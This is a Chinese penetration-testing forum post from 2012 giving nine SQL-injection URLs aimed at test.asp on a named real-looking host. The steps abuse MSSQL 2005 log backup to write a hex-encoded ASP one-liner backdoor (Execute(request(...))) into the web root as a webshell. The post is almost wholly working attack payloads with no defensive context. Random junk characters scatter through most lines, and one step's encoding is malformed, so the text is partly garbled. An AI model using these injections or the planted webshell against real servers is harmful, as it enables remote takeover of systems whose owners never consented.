中国网络渗透测试联盟

标题: Mssql2005 Log备份Webshell [打印本页]
作者: admin    时间: 2012-9-15 14:25
标题: Mssql2005 Log备份Webshell
第一步
) ]2 l5 v( T; `: ]http://itpro.blog.163.com/test.asp';alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]--
( }" t. ?& @3 X) r6 k% H$ @5 J7 C* G
- |/ C" O, H8 [+ h6 P第二步：
6 h! O& l- v$ C1 J! e2 Q9 {http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--9 ^1 V/ s# J. e  U3 F
) ?% ~6 Q0 h  ^" l  K
第三步) f! c1 j7 `& V2 [# L' `
http://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--" B6 q7 b& U; R

# T6 d( W; ?) ~  M" W第四步
' E6 h2 U7 c9 e% Z. r- Bhttp://itpro.blog.163.com/test.asp';create/**/table/**/[itpro]([a]/**/image)--9 X/ G! l6 K; _  k

! ~+ q( X7 g: l" n8 k/ {, L第五步
$ P  n, n7 k( \9 U' i# P& g- khttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--# s$ t( l/ G+ {) v4 M! G

) l! g8 u+ b+ w第六步
' @- ~3 ]. U% [0 g1 `/ T* Zhttp://itpro.blog.163.com/test.asp';insert/**/into/**/[itpro]([a])/**/values(0x3C254578656375746528726571756573742822697470726F222929253E)--: g7 \" R+ t! F' V

' D7 L$ s! F, H6 h% F第七步$ a/ ]$ n0 i  O! L( V/ T& `
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%0x64003A005C007700770077005C0077007700770072006F006F0074005C0077006F0077005C006C006500660074002E00610073007000/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--- j  S3 X# f; X5 D( B( j9 D
: Q1 }* t' D$ m+ {) @) W
第八步7 v+ M6 V( D. n( U! h
http://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--
- O6 H# X3 S  E( z- w7 |( ], c' V2 e' F
第九步
) t5 E; q4 L; `' Q6 j7 ahttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
: J7 U0 a. {, Y



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2